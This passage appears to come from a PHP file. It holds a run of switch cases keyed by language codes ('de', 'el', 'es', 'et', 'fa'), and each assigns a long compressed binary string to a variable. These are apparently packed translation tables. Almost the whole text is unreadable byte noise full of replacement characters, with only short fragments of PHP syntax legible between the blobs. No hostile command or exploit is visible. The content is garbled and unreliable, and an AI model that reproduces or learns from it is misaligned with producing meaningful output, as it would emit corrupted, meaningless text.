���CC.8a�^��H\��Ȼγ��z��C�����r�:0���"���px�!�N+0�cj2=@P������5���Ta��"0;r#(�[��R�Bp�ж�+�#����hl�1]c(���%��-��$?�r�|�x��r#�{�0� �3#��Ў�h�م5�ȭ�4خ�Ä�X��y���t�r��9���~��1!�I�4��0���cF3�BC$2@�K!��`Z9�l�)�"`Z5��l�r����\�����2ܻZ09�,�'�����3�o�R�p/R�$�����B*W�0��-��[n��Z�iޢ"���n�=0�8�P2�	�܃X��N&)�`��B� ϴ�x�3j*��⎱��7ųh�u�A���A8���9�#8µ���V�#(P9�=���k����8�42I[m��#k:U�U21�#JD@T� S�]P* �2�UJ�;���U�y-�7+�}�OX�%r(6P��ax�(\cBAg6�7 `΂A1������e?��B2u	�r�S�z�5J��HwUi���`����u��n����A6)�A�|�A�,d�����L����7�J���\��������m@hѹ��Jތ��3F|1�@@�rX .��,��P[�O�=[=<�$:�r�A�6VF��Mᤶ�#\�*�A锸�>Dc!��s6�Hn�T��|P((���K�2��!�R/!Ry0E�T4�@�\�K�>+Q>�>��*$d��0�~��Q�7"���I!�4��&ӱ�42.u���^UH)���F�����Pkי�h1��CBTK	q�afx3�^R�r�]��n�酨С2�DC˻/�%>'�=,}c�K��r���1��ڣ���.TY��¢�Ls���Jf�h /drA���n�����Je�;'�@���Eq$�j��Zc� k2Dp��\�äk�y�9H0Tn����{P�r��X��p���y����p��ROn�8P�T��@�-�K�	7R���q�m.���iܷ™�S�rɫ$r��%\��EшFrHE $#}T���Qn(� �^!�:D��%����erM��6�>��h�e�).��Lkez��I�Ӣ��N\˹{*�:��E���pp	D9�E�ne���Y����*R�tHzC�5ľ�pX��V�s��(����$������\xt�DJ�q4�!��IZMb��d&IC1:rF���5g!h�'�̢.2�-&�5&��ޙkGe��@�:�AIH��rEG�1�v�>�rn�P �0�)ݡ>�ST�h�$���V�|�l.HA{^U��1d%}��)�b*	e�$�\��O	jgP�s~rZ�D%���V�5tl4:�ZjmFP�ȥ�Z�����KO=���ɫ���[k�-b�v�oV��w����r���ĽJA�#�|��K����žy-�S��Q����+�P�0�-��H%��lIZ�c�$��)�O�k"��I���K9AP�Z�_��fA6�u�@o�7����r�iQ���2��a�RC��՘�sƍ��5�<�n���*J2�ϑ�;x��cEHm��ȎE2�\9�:"nZ�����c�n�Nǫ�����@^E��ޑ��B#D��g�Q�K�"+��7���o�� ����R߁�1���mv�u��O��o�&Kr��M�C΍̻��6��u/a�o/4^��=Y�� �����]E����} �Bc���[��N��\�efg��1�ח�2�ɕ�}��o*��\�o�S#�Pqj�Ll�����ec���2��3�4��ȇ��(��f��onr�28�, ��7�.*"z>#;"�)�lxOʳ/�%$m����F���f�r\Oj���Zpl�O��t�t�OH���c�t�������$��0��0q	В��F��N��n����nr8�k`�R,�J�/�lcO�	I�:EO�N���o��e����	om	��\Ǣ;�)&�?+�/��C��41d���&:��PB'��F���)�X����:rq?Ѕ;��n�k�B�G_F�1>�fr�EJ�1O��&�l�ˑu��*��}јC���4���b�q�̀�Б�K1���Q�nd@;q��i��3Cr�������p�Uc���Q"�ӱ(�I^�e"�m� %(D �	fӢ�Lb� �!�:]�0��׭C#��/�ـd8r�Vrdrmp��b����Q�$(�f�PW�Jn��n��K�$�j��h� �M�(��(B���@��V��n��#X�r�&n�ECz��6��7�Zj2T�r���L"�Q%��٣£�E"0r�}.�@hB0K�	|#>cK�F��D"���Af���nj>�i��-��q2J�2��1�Bl��s"�c(����54�2�B�Bb2+�)S2k���^�d�k�#&����r�o�i�>.~�i�8�H-��bB�Bt��;��5��)�-���F�l���'�U"�0��3��J»ܹ�`B/�@�-�J�e;��0B<k@��`@-JB��b"��";break;case"de":$f="S4����@s4��S��%��pQ �n6L�Sp��o��'C)�@f2�r�s)�0a����i��i6�M�dd�b�$RCI���[0��cI�� ��S:�y7�a��t$�t��C��f4����(�e���*,tn%�M�b���e6[�@���r��d��Qfa�&7���n9�ԇCіg/��* )aRA`��m+G;�=DY��:�֎Q��Kn�cn|j�']�C������\�<,�:�r٨U;Iz�d���g#��7%�_,�a�a#�\��n�p�7r�:�Cx�$k���6#zZ@�x�:����x�;�C"f!1J*��n���.2:����8�QZ����,�$	��0��0�s�ΎH�̀�K�Z��CnT��m{����S��C�'��9r`P�2��lº��3�#dr��5r��Z$��4��)hˌC�/0����"�눡D���h�B`�3� U&9������`�2r�n�p�CT�v1�ij7�m�B��4r��{Ԕ��և�B��D������x�m���Z��pP���}�R�!xD���l�O��F4��^0��cݎ��5)�C��:����C3�+�++C�@� NH���Rb.��2��{.9�c�+����9���<��HK�e�k؝$��Z�M3S�ÁB�7�p��R����jzP�-�.a)�<�B3��ދ�T3��(�y�NP��1���1(����K�ͅ Oֺ773~&2��و%�j�@:/�z1��آ&�^sC�~ۺ$�u24�]65�˔�'<�Sϡ}n�6�e	CriwJ0�MKW6�#mk��X�<v�׊07N�u<�5�F���v����4a'�w��a�oZ�i��=s���Wh�3�e\��#��t;+^�?%c`ބ�r��+:v�B�p D����4L��H	� ���NC`./؏?�C�g�O�	�D	�e� p�Z'�fn��A2����'rt������?��J�^A�2��ȇ�$:Uk}W��S�&@�f��ʴV�CZ�am-ż��r\dl���Cr��q��Մ`C[9#��{/��b��gq]��p�K	�(rƵ�@Ț^�2�~jr��uj�]=�`u�P&2������k[+l;��Yr⎡�r7�8����`�ڇ���n���,�cd��ML+��Ԭ��0r'-h���@N[!3@'P�Ỉ�n (Ц����r����r�n�/D�*�o�ipE�M��6�)!��+5p��0u'o�P�(�d	�3���:|&QW����!����N�q[���ت��9��3��u��OJN�,#�����A)H�r4Q�2@^�9W��7�R�m	��n=�eL-	��x�OUN~����8,eβ��h+�|���cZ�3�_�x0��0 n���ޜS�2D�:d�D�<W_g%���B�M�*�蜓xAI�@ ��=%"v�AF�J�R���qt�����nA0a\�C�Km}>�Ю���Gb�p��1�h䛇%Eh�CA3Є�D�(�kO}-@�`�R�I��a�d��c�9G)%-�Z����;���x����9>�V��re 75��A�5� �.�zn��0Tn����4i	��5��	���Gv�nd�0���#�ob�Rp`pAr	��*��B�E�E"����Y�r���5%��3���>�r)��Bxp��$rzL�N?��i��>'Ͷ:��AE_O*G�rH��9%���6��`�?�7�z‚	3���`�8iz,�������Ob��zi�ӥj���dݖr�]�7�|pD��f<13l`�5�)`(5���D�K=_��;���|3��t��g\Z��r�D�L�C�gH��=��f*[�R|6Z/p� Ӣ�n�����nb�5\a���5'uɺJ�"d¡tk�ǀ�RXuw�_��RT��EC{�S���"��,t�$n�b�'uC?6��D�]F��P �0���6f��@ޅ���MT��󫀕xS�3\4��yb��}������3g����r*C�,=2�:ޖ�L�!F,	�ʰ�:6��FG�u��ɛ3����h^`��r�mȵ:���Bq���D�S`�X�b�B(}�o�jP�'����?lR�~��q�{�3F-�κ�,N���r���!~��)�&fѱ2�.6�1LPǰ��F�c��nI�RS`��d��5�窽�9\��Py������Ŏ���^��v ��)�>t�8tE��A����Q��I0�����χ�b��#g��#⟍n ��/�+p���-0,��J8���9����U�h�i"if�kĨA �{�Dr��5�D0�^k,���j�Ph1F�db�v���Y�6ܢ6Zn�n9ojP	��,�ɬ�s����4u��c\r��P�А�n�&NL����0�c�3����5p�u���`x��yp�n��c,�gΊ�C�nN:����<�,������&@�O��5ξ{΢�q&�V��P�"0�#h'p��l����,ip�P�ό_��c��π�c���r�0�C����T4�>6THB��E�� #ZBi�T������WK&���on+/Z�+� Š�+��_`��+p�aQd�M�'	r�އF�"��-�=Ca��a��p�͹!q}þϒ!�%g�"�����*��'���B)�k0�1�A$P�#P(&rL(�E�&nC%�>�R��#`	JM�Έ�Pg���Ș��j1�0��G"g)�5�U"���^�1pj�&�D�J�2�j��v1�r�2�f�V#g�nC"`�k�G�P��b#��%/���Q��n�}&�/�;0��>�/�1R�#�1��ros+�ҷ��33,x�n�c��H����1�'5�_4275�U�K6��-�Z��%�Ne FsWR)s���!�9sk#2�&`�A��9"�%�B=`�r$R`i$e A-m{+���2,�<��Ư�)��=bf	g�m�|�˘Ʌ.NϚ;H|%,r#L'qF�hfr�W>�2��`0���jj{+�$�F�tFѶ{ �n���p4�ޙ�l6�&q>���/P��7=���P"�b;E�"��M+"N�f��&�m�5-i��0�ĥC:|��:�G874#I��4��Bt.%�f�I]H#'�S�>Q�T-��FjL�6:�*��2��#� .l<'$�S���\̣#Ib:� �GUu4��	��T�NuQ��BqQ�,0Q�"���PÔU�M�.(���oX�d�#��Gr+�A$����d�$rU�dN�tQ-��##<cRC����OIOFr���O�vc#,��PK0����a[��q��@޾��D�2�(~����~ϖ%�*#�I7�/b";break;case"el":$f="�J����=�Z� �&r͜�g�Y�{=;	E�30��ng$Y�H�9z�X���ň�U�J�fz2'g�akx��c7C�!�(�@��˥j�k9s����Vz�8�UYz�MI��!���U>�P��T-N'��DS�n�ΤT�H}�k�-(K�TJ���ח4j0�b2��a��s ]`株��t���0��s�Oj��C;3TA]Һ��a�O�r������4�v�O���x�B�-wJ`�����#�k��4L�[_��"�h�����-2_ɡUk]ô���u*���"M�n�?O3���)�\̮(RnB�\�n�hg6ʣp�7kZ~A@�ٝ��L���&��.WB�����"@I����1H�@&tg:0�Z�'�1���vg�ʃ���C�B��5��x�7(�9r㒌"#��1#���x�9������2���9��(Ȼ��[�y�J��x�‰[ʇ�+�����\��FOz���n��]&,Cv�,����[WBk�4�F�9~���lD�/��/!D(�(��H@K��C╖�=A��PX��J��P�HF[(eH�Bܚ�;�\t�C��%%%���%�*d�7���2P��u�h�vĈ�,͞����,�FuӼ�4Ȥ���dӇn��@gAu�0XZ�^�e�A�����Kq8�$􌄗e�ra,# �4���9N���=O��1�s���T�4�sl�;�#��7����OÝA�y����3��:����xﻅ�}�LAt�3��(��;�2��r�,ߠ�(�4�#x��|�5p���S��d���q�YR��`�aoF>RY��D���:�>=c��a��j�v�վ�:P��r���s�$&rX+�#�ݨ#�(�C��2�>���NyZb�^Ri_x��*�w�)s?Ob���j�31u.�P����]3� ��&5�T�/$m���Y�$	(\:�~w�!���%��vgn�)eXF�sZm��(FkB��L��aDE�@�?r@'Y�"n�ם���H��B&����Q��9F�Y�tN�J��c�u�LTb� naD&�Đ�`����h��R�xg�J;��rDUq�I���)A?��1��:�T�H#�T^�,�2�V�)J=Ĩ>�N����PE�"�)�M�B$H�"tn��2��Ѯ��"�� ii�6&��*ar�c'I�1�(x|a���`�]�a������]�-ͳ���6�j��3�~]�e����XkI9��"#ϒ{>%�/����xT<8�F�N����e��e�*gE)"�!�:A�:Ap	 �!9�K���'�|�u�@Աʠ�T�В�B�T��Q'KE	}S��qYF�Lǣ�t�����|��:%Ԍir	((x�@�R�tr!�V���=g�96P�5�HdhM�6���[{qnmջ�v���c~N���2ã�p`�Xw)ZÚ.�^��	�H�byԝ�ZH�Ϻ�JV�SsSP���ĀDY�6XҾ_��1�����l͡�6����tn��V������3Njط�����a�["��)Vl��KG	qSk�0C�Ʌ���#�sP�*.��½tJm�B�!��wthȄۊ(P�]��e�$=�b�������K�r`6��Âb�a�2����daզ4��p�lrᝠa6�ZM��ګ�n�!�6Mr@��I+Zt���Ƈ ���!��j��y��7�`�T�4��@@P���\�ϒ�>ȩ���s��/�!�f��Mh�!�� ��L��u�'��0��ok�U/a���ztk��?4�A�q��r������\>r�1�~�~�8;�K�JT�I�"�t���raL)id�T�I�r��3BE$�����gnSVs���7W�#�%�Q*�O4d��<��2�%�@F�6Hjb�P��$Zz�K�j��f_Cv	k^D����{��+ dD���� �M��Cj�53�����R �k0G�'��!Q囥�$�(�%�@R��¨��T~���:���n��>R6�2�	�-�~�oFd�ͧ���f���D�J*��_Ӿ��lZ^E�vSa�e���`���r�%�B���S��D"^�W��D߂@���i3�*��W(�!/����'Iq"��P�#�/�IH>4gYF&|R8>*�q��T��Xo�)1j���)g�3(�Y�t�e4�1�M*�ڻJ�+�r���	5��S;i˪�g'?#�|�����9H��@"Qn�5;q��JJYv�)�rXJq>S��y�����1�bR�Q3�k6t+P���HN�-��%��᜛%�;�8CB��b��L��\ui�&/z�-�������`'`t��*����x,��B�}L��4�R#�>�N9�XX����"rȞ��c�,B�������m�7k֝O����i05��I'��d�B��_�@� �P�O���|�PuP�uЊ��d��p��4xJx�̏���'(��nZ)D�B((�W������,����#2�cj/f0�-��	�c�ȉB�`P�&I:�$!d�I8���l���g*��$x$n"�)�!ix��z���ht �$p��G�:'H�+6t���c�b�J�d �n��`����r$�iF��$��f�G�Pg�IN��	�/D4Z��g��@#'�ˢ�"�X|��T�"�6�q�&�+4�b�s�?�\��4�JZ'���P5�� �W JC!D,/�r2c��"Q�"��"�05r4(R8�I�#�1 '�9�¾�b0��(�Ҿ�"E@� +�{�Ub��N�p(P���=%�$b�z)B��*��*�&�r++h���x��P� �%��='2�l���&΢���^0����T���r���^%φ]PX&��'~�s���D%:;���4�e�����3ǔan�Il&��-p4�dO��3�5n�&�v�cF��^XH ���zTz�J-hIp.EP�F�<<3������2��[�8�r�a��n��(D3����:-ǤZ�>���#��s�!��IG^��*q&�k?�=�?��9�v=�,��$>�Ќ��@ͳ� G�@O�BP�C���?�?�6���B���8�D�\bOT>�:$h(*JI�$��<)�R��bf�6��n8�\ZZ�p�3�H�';�;�%p���t�x/�͐�_O���~�4F�h�~���%L���}��%�,�SE�`�=S�CQ>�4YieON�R�a�Z5�	PCEITE�[Q�/�l<�)DS�@h])I����C4]$��bc�Q�iE��>�6��v�t�R��S.�-�d�+(v��5��*�Y#_&"�&b�&�(|�O�GW*Wk�-�}'u!�x�7,�oYr'O{)���n�%�/Q8;#1�PH�<�5FU��\dP�D)\�?��S�$����:C�^��]�WQ�WSR�8G֩i��	&C�Z���%/"�wrvTO�^�wBKb#��.4�.M~��f9�8�C�7�c��-l�'�wL�m�c�E"\�d(i(K���\V<�E0Ȕu�iu^oYQMW���&�@c�D^M���Lv�w-�M�[=�4w�[5�)�)R�U���0��_B��TU!np�mv�%	SU6V�O`��n��x5܉����Ou�O��,P��m�<��aW@�1r5Op�Vu�v�@x�����r	!�Q�r�7�\��B"�n�h�wl�:�o�J�K������/φͧ�5r�#WBcY��B��p��Y�����_e_UGY�r֓p�UW�u��� �u�JC�V7�ut,��~Wat�d�F���[p�5|��w������b�2�h��Ae����Pz��]���� }�σX|�t�¥v��2"J�VS{�:�xc~��E��X�7ɸC��r��?BNv�+T1���B"q���v$7|�}H�uG��gl�{p7�<8�x��_��D�MoC��<,�H/U{���V[çxܳV��O����+��f��~W�GK���%1C���x!Z�otkK�(XQ���щw�B!�r�U�6߅���<ʘ����l~cxD7:$�_ux���'�J%��D��}�]›U��r���!j��B��S����['�5�c`V�D��7Iq���$~�Ϙ#Q,(?ng����Pي�9���RG�QX���R���'cb��)*�6i�r�V`�Ԁ֩�StNK�a~�p	dW�>5.=%1��hW�ek��BCAy\�4�}�@n���Z��@9�-�?A��5�$9��B��E�Mr|�V|��_ȱn�FTO;8�m���d��J�Vc�[��=3�s5��6,�QkҞB��Cz�;�ijV�������ob�NB�͏2�]d���Ԗ��=�o.����er"!�63�VH.]�O��S�t�r��C��G�`_�sXkB��;Dǔ����n(T��+��R��U�x;>�_Bcj�K�3�;q��tXd�[Tu��G�[���Bl�QUG0�M�5�H=6v�Ne6ʇJe����yF¾I��Nqe�	3ٽh����f�1'����\ 1z�Co;!G��o�P�c��";�)���w:Ğ�+YGc�kp�3͎Dw����b��O���!gH�NU2b+ M���8�����|hC�e��X�r�	jQ;�f�wQ�.qG^E�/��3��)�";break;case"es":$f="�_�NgF�@s2�Χ#x�%��pQ8� 2��y��b6D�lp�t0�����h4����QY(6�Xk��nx�E̒)t�e�	Nd)�n�r��b�蹖�2����d3rF�q��n4��U@Q��i3�L&ȭV�t2�����4&�̆�1��)L�(N"-��DˌM�Q��v�U#v�Bg����S���x��#W�Ўu��@���R <�f�q�Ӹ�pr�q�߼�n�3t"O��B�7��(������%�vI��� ���U7�{є�9M��	���9�J�: �bM��;��"h(-��ϭ�`@:���0�n@6/̂��.#R�)�ʊ�8�4�	��0�p�*r(�4���C��$�\.9�**a�Ck쎁B0ʗÎз P��H“���P�:F[*��*.<���4�1�h�.��o���0x����35����>�+��̩L�!����ʢ�7C�|�&r���7�S��Tyc*�# ڴ����OP(����2�-Im*�Rc��:Jc�	A#���841�0zr��8a�^���]T�s�-�8^���r�9�xD��jܑ-#2ܜ�� x�!�h+Fr��=7�F4��S�7��:�c�*�,nåM*�0L#߶���:��<���x���U���<�NQ�e��Fr���G�g/8�S�$��%8���_=H+��B �	��d;.x����،:�1-�A�L�i&Q�k4�e�6�9�*��"��(c��;�(&<��0�Wc�S/���F�&�)�����=7F'.j.)�"`u`��V�j�v.�RS�KPxn-�)�8��lfn9��+ցv��)?@=nr#L�Ĵ����Cv"�;،��*���&�k�u�)d4�q��B;�A�#P�ΫDh��o���7l�8��Cx��"�FG�P��G�J�n�����pZ�DVK35>�KHsBɀ��KI��l���n�)&�L����K�i_���@@0�I@Od�*��F�q*C�*U�}���#��,c:�VZ�Y�Ei�P��2�?+uo��^�r{^\��0bԼ׬+��$�#F�nH(L���[��8I�ނ��	��/��.$��pr&1��|QY�Ai-E��"��Kyp?���`��B��hЌ�$�x`�P '!�v ���N����0c~g��Wq��"5�����7��a,��l�D��Cf��	�8*Kd���4�RQ‘�p4�30c��Ȓ�S����ȊO̒4@P ���4nnP))�0�GC�FGm0����1xf���r4�#�.s�;���}�aC�<0�D�`nn�����C�0%�ȸ,�TH��mCe��h^�SnA�bnyp.Y�ƨ��ɥ7����K&�Qg�4<'rm8�K"~I'�"0�! Kuv��RB�:!�*a4	$L<��:�)n!4���H!��"ŕ�J��zMdv�*jjxOnaQ[�rG� 1p8��$��z0���x�	k6o(~|ȴ�Lk�5r��*��a4U��`�[P����$�Z*P+XH�A'$h3Y2�V�3��jO$6�� ��� �`� U��$-�bn�B	�H)_��C�R�ś#b-�0Rn������!qaA���q�3`1f4ݘ@J�Lxb������sɱ�Cf���ׯG�	n1�$0�Lj���%x�bF�B�N!�ƯY�37d���ɯԔ)@�C�sI�YE>U@�Cn��6�X�b�Q�8T�y?'�f�TVa��Nt5]Y����yH�gw�#w��œ2oNR���Y����+d�;��Sj}x�Rv���vN�wK��b���l�eк�~��[2n%����ZN{�a�!��H�g��Fώ�*̵�%T9�b�MCu�$A�[���w���I��K<�r�)�I��4Wœ^��Q%���/�HԷ���bUr�����XCROW���PC�H/+l��`�˙Or|,���d]�C5�[�<NKC2wl`��T�Ը��1��<�y"G��ǚ�tG܇�F���t�f�U�&|"�R�q���#c�!����y䌾Ţ>�F�W:�<��t�E`noLyM�0��5�yD��fکm�C�!7Y�y'+�A�er��mE��BׂUICu�����0�#h�-��q+X�YiX1��H|r���̹�Y�c	&1��C2��9�����?���9��zTz~Ĺ�y��ښ��,�p>	�����������1�u�Od�`p��;ȴ��o�3�%?��#��[g��eu�=S�iS	_Pɱ��r��n�b�lC�P�'�`R����l�PO�Co�̂#C*� �|�0*�O�gLV�-v�m,v�\<��E'r��d�pNwPHb�f	�:y�n���n6�&����,x�.K,��N��\d.�0��+��	���Rȏ�h�nd6�F+����P]�D,f�BC��ւ�8&��,���:ʾ���]B�G �B†�d^ iCP�/&LD�pν��r�p8��O`Y*Pk�S��.�'	���FP�O��1-�ttc�m���krrF|9or�rI�T��e�=L�z&#�jܪ0�kN�܍��p�q�QJu��h�v7�p�l���fh�1"X8bJ$.�r�F>ͼr���&�1�x1��O�a��0q�q��q�7�*k��i��p�ү���g �G��;q���(j��"*���X�.����r.c�)28�R3��� �#)hr$Q(Pr!P��0�$�%�gR'#�؍�lc�q�'�S(��N�(��S�_&�Ju��(NlBU*%F�y�M�D�6�r�'��R�&�h	�r�W�����J�ve��M�������n��2�e#$ObP.���%gm��Bf���1�3�L�d�0��D�"D#'�0�@�"iG r�0@��� �n���p�c�0b�&�;	����	o^�BH���椀#�pmфI�@�l��t/hЏ�e8�ȥф�m�R��!�4�d_e��	�n0����#��h<'� �4J��jB���N��ľ9�D&2#H| ��.�ȥ	�JIb�t�����rB	�&Od/�,5#<M�x2J8�NM��T#�$%D0u�n�b���Ocvo�4pL�w�lp'$M`0d�{d�>#���xPoN�là�DO�7`�Cs�7m!��7d�'�v����,XC��T&U�Du ���v�CM#�����\��N/-���%��2��H�@�	t	��@�n`";break;case"et":$f="K0���a�� 5�M�C)�~n��fa�F0�M��ry9�&!��n2�IIن��cf�p(�a5��3#t����ΧS��%9�����p���N�S$�XnFC1��l7AGH��n7��&xT��n*LP�|� ���j��n)�NfS���9��f\U}:���Rɼ� 4Nғq�Uj;F��| ��:�/�II�����R��7���a�ýa�����t��p��Aߚ�'#<�{�Л��]���a��	�U7�sp��r9Zf�C�)2�ӤWR��O��c�ҽ�	��jx����2�n�v)nZ�ގ�~2�,X��#j*D(�2<�p��,��<1E`P�:��Ԡ���88#(��!jD0�`P���#�+%��	��JAH#��x���R�"��Z�9D����$���(\� )0�7��p���rr7�rL��/�N3p�:"�`޶"�	Nx� ��QrP9�<?Ä��#��'N�@ߵk�����U	T	,�`@7�D�3��:����x�g��#����H�|�ׁxD��jҔ�C2�6��H�7�x�&��F�M��j'8*�~¨�Z��,�j�߲I ����"����7��_�����@P��7�H�5�P�&�N�,����T:,���.�<8;��70�m�Kכ6?��nH@P�2�㮈2C`됻��/����AE�ڥi�B|Գ�CF�%���,[2��#�(r#H��	�`�r#X֣.r���p��.H**1���&����;cu��GCn�"Û��'�hܿ��_9Qit�b�Ë_���b���Duf(5�Cha��_7	#l��B*s��@����z�(�!0m'o����6IJ����� KL0���X7k_�k��Qf�'2������0�F���Q�p�n@�o��w8�0<���UR��8�@7௓r!������n<��0R�N&Pri��j��(ȝ���@��Fr�� ��z��c]d�*�f�X�%e�՞֌>Z�Yl�^~]0]kxE��v�j�6��u.�{R@gAeQ_ 6�{Cd4�=���"bC)5&�������pxr؃�~�bJ�Y)f,場���:�Ul>�(�V��x������A��8�[�sO�� *D����z�#���rV�H@���C�ԪCBR�b��V��×9X��oU��*�LLp�ĶL%li�1)|4�C�i&A̚�R�S��x#(P2���hqH@ё�N���n (N�&�c�J�"������cfn�S�@h�!T����� o��6d�*��@j�U�\�pp<���Y�h8��c��[6\c�6��.��SnA6���J�Q��a�s�Cvc�8'K���Ro�b�I�S^�2	����6�	�I"���*WE�!�!sb����O�f>!�E%AI�hc�&�$i	�P	�L*רk ]5��nq4���rFj�Vh�+y.&�4Y��J�@p�r�C)[\a�51�[��h�Sq���5	�0T���U<f�*��{"���$�^�m�1���΃(yKE�R6f$[�xNT(@�+a�A"���z{32���4�6�j��r���E��3*�i�Hu^�H<��BV�pQ�7�ȑ`�n�C*�r��� ��/:�Q��D�7U[�1b����>W�2#�QF1��1&z�@����Vo� n��Z��W��|i��.�t���r�S�}����hl�� �)"S5n�T�dX*�:��n�.e���j`C�!����B��݆G�)��cOÛ��!����*s�4!�;�����o	&5��Jo�Q'%�DLF���n�L��a��.x��d��73�pQS �0��H�֧%Z�Rk��I�"�$���:���@`Շ���^m���1���rxiP"�`���SKX���q��4��P �0�+�$4��4S�����P��ZiM"�V�E�W�`n�2�r��g���Xu�e�%��J��&�� o�]��[Ork���z�(��;T��b���`;���1�NO�w"�0���HI%l���a?J%�"��a;�ۜn]�Բ�_;�����B[€e�,�o�PrOU`�gEv�X}t�A7�J570�fMƥc����|���o�%Nr��;&�S�\CƄ���)�����u�HoT漨�e9z\4�3u�b��q�����9rdz�7��LO��Ύ�&k���Q����V`��ڄI�?&���J��#�ј�o�t��'VA�z�����C����ͅ�8fG���ߊ2Z	��r(�D�nl��LNruO���#�r������P��l�/s�t'G\_�b#�Ԭ����g�F1�oP6��v0Md�npW�$��N8�DŽ��ˆ4��!���$��	��hP��Ղ9�Z�R�И�K�����l�.tJ��mU	����`~k85�ZH�tX�6=⨖�$.�B��H]�h0�s����e}r��r�'�Ip�c���.�$R�e\4$V��	m�u��]�	�jխB�Z����<jf;e�`ĨaF0�?�aOO��a&a�f!���p%1u1{�N��`�s0r�M�n|�n�nq�8�	1��V����}0�q�"��slrӑ� @�"r����f�� �%�<��Q����&���y�nB��ڐz�PPP��x���`����i�u"p|T����nk�]l�u�!�*vLnߨ&=2Nr�l5r�%r(cP��d0��R�H7�!�t	R��^��tѥ�p�F9�L�J�o��"��$2�$r�F&ny�,��H�`Jr��:׍bOW����ʰ��-2���%R�o��QDk�w,�{/P�r�؍�Q���E�$7ұ(�NO�"�r�)�92���2�on:t	r`,��� &���ڲI��tl0�N5��1�5�\,�*%6ȉ7qeSr���h	`�6nn�t��7F<dW	M�:o�8���ld�r�Vrbfb��!�����?����n���p=�܈BJ;JҸ��$��e�ЏP�Ơ�HZu/''�l������M`��J����0Q"�C��j���n\J>V4E>�	��l�V#��\d �_&&�CLi�2���0����dn��d�+��Af�n����#1�L�D��#t��4#Q���>|�3#6��( `�fN�$OKD�`�XE��̍Q�wC��i:B����pQK ��O�D&��VN(k�nN2��QF�L�Lfb�N"d�W9�x>-<���*ԅH�MI�$4Ÿ0nN�xC�9��c �O��-CY(��c�3�0��7�j��$^+�w��	�@�	�tn`�";break;case"fa":$f="�B��™��6P텛aT�F6�(J.��0Se�SěaQn��$6�Ma+X�!(A������t�^.�2�["S��-�\�J���)Cfh��!(i�2o	D6��n�sRXĨSm`ۘ��k6�Ѷ�m��kv�ᶹ6�	�C!Z�Q�dJɊ�X��+<NCiW�Q�Mb"����*�5o#�d�v\��%�ZA��#��g+���>m�c���[��P�vr��s��r�ZU��s��/��H�r���%�)�NƓq�GXU�+)6r��*��<�7rcp�;���9Cx���0�C�2� �2�a:#c��8AP��	c�2+d"�����%e�_!�y�!m��*�Tڤ%Br� ��9�j�����S&�%hiT�-%���,:ɤ%�@�5�Qb�<̳^�&	�\�z���" �7�2��J�&Y��[��M�k��Ln� 3��X�K�#) r*F��j�/�l��N�#�鼩5(�ƌ�Z�T3�C�T��V�2zK3 �( ��k�°�3rð�B#�o`�bB�t!	B���:rx�!F9ı8X���9�0zr��8a�^���\0�5��x�7�ݺ9�xD���ln=�46��H�7�x�9Q���5�WU��3d�$�jB��������3M�<�$�k�ᐌ	D��D.b�,Ȯ0�Cu���#ɗ�@N���������J�n􈕲�h�e��'�3����!�_dn��[KQ�0:zV�j���D���$D#�Yc01�::��40⿺�n�f�2��y���y��+��+�B'i	T�s���y�f��/�(nb����*��� �O�w�Աs�T�}�]�'�ѓ7|)ⶹ*GIx�v�ޑ�:��?���F)_?.q?i̤2�jάL:w�J����ﬔ*X�!zja��HsB�n0@��0n�p��C�t_k%���:�zWK!�:�`l�(�*�ܮ�t���vg�(���i�qG*�$ӆ H�)x��r� 6aBh�8Aa�{�)�]z��X�9 &�RWK:�1��AC�>m!�?�-."Dh��$L%q=�E��1׆�y�V0qEa%J�&���nC,(9�Oh Wn�7 u��i��p�ƹW:�]k�w��׬�^��|��^��Pta���P�Okbem�d����=E�ܮ�a!*��ɻbt���I�>�2LA�>������͢RĖ3���\��t.�ػ���^�1�����A�nJ����8d(ĈK |���DŽ0�p%j�S���+�"�H:0���[�hq3T%@�*s0Z��hB�U0�@��`l�n!heh��3A)nê�Y�:Ҡ��9��L4�� 1�rI0�*�l���>5(��"�LM�:2�u��1)�q�%���P	B\P�wD	�A��0R�q���5����|�r�D�@޶��i=p3�%��P�CA�lR�L�@�!����8 �U�����$D������*�릕�KH����)� �Q�xk_qf����6Ht�8SMI�.I����&�Q�ecd̬���AT�N��/My�0Qd�3��������xI#A�k!Y%d��r�jY%�C�C����(U�G@����:�k��#��(��v4�U�dSI1;$��nIF2U�U�HB�ynHŒ]���	�G���#4\R�I'F��;�1=�6)��&�qZJ+��ք�D�J�a�u����B0T��1��6���rU�!W�U�i]��t�Es=�vPn9TTD`�p n�@"�s�y�&\��a��i�֬3�⦞�?Lh���I>_C�0��n��șS�?D~���D"k��fky��r�'>"R?'��֍T*������<X~��2��ةQG��!h�����y7og=]o��a�?4h��r���hGH�*�lyZiQ!���@`u���<%U�W"�B'�c#�U���K���aG����y>s��M��������Y���p�|A��SoHU�V]Mf�Y&1�Uk^��>W�Bng��(����V�"I�>%����%�|�782���֜���TӍ^�IB;�4餣G=�}"+���y�דS\+SMRtغ�2�Υ���X��������[�P �0�0r(ab.K�Q�*��D�����Y���r1#iQȦ4�X|Q1��)ǹ��2����P~�T�a�G���Cz��h-���r�	_�ƞx�{���\|�����}˗9/9%:��K�Mr�mJ�nI���6n�8~�\şw��4g�v����Mə�r?���	�c�k�z��MZԤ��Lчt�`O$�㭼J���h���r��&����j�oN�� 4<k���,�͌����r;O�G��ܻp:ѧL���%*��63�l��������0d��Fx$��4Ђ�d�&�lP�4>����HrM&�v)nj�0��Ljc|�A^憜F�@r(&�R�������Mg�h�-��r�~�~�bHvjA���8#����r��J�a���%Q�1 �pW�&%q*lжk�j)J>�0)�԰rdd��*�h��o�r眺��.�+�Rk��-���h����g��SL�PB��yn�,CS���R�q��n$}pYQ �T2èlq@yoR��hP"vJDap�!!	�R�����$�1p!c��Nc����F�X���N��Oy!Q<�q1Q.�N���g�Y!��1�!�E#��n����2DUNc��%&6f�FF1>�S��N�nIh|?a�n,+��8�@�QN8�4��n'?r7i�"d�!�O�����"���ѧ�Q1*��%rK+#�+p���˧>�jR�r�(�1/�"�R�pkҤxns.���-��.P�<�Ip�*h�2f�*�jl��J=R�N�2���0��+.ң1r�*�<4S+�J�$�&�.~��S2ʉsl3c�F7�<rOO6�sҽ.�����ԃQL2jv���.�lY�Jipr��C�q>K�3��TE@r��S�^�FS:c~5��-"W���hBg4 ���0Dì�3f���.�`7@�l����n��9>��'Q���n���ph�x��A,�4">�]C��no;��m͙�-��'�[ƻ��Em����B�)R���3o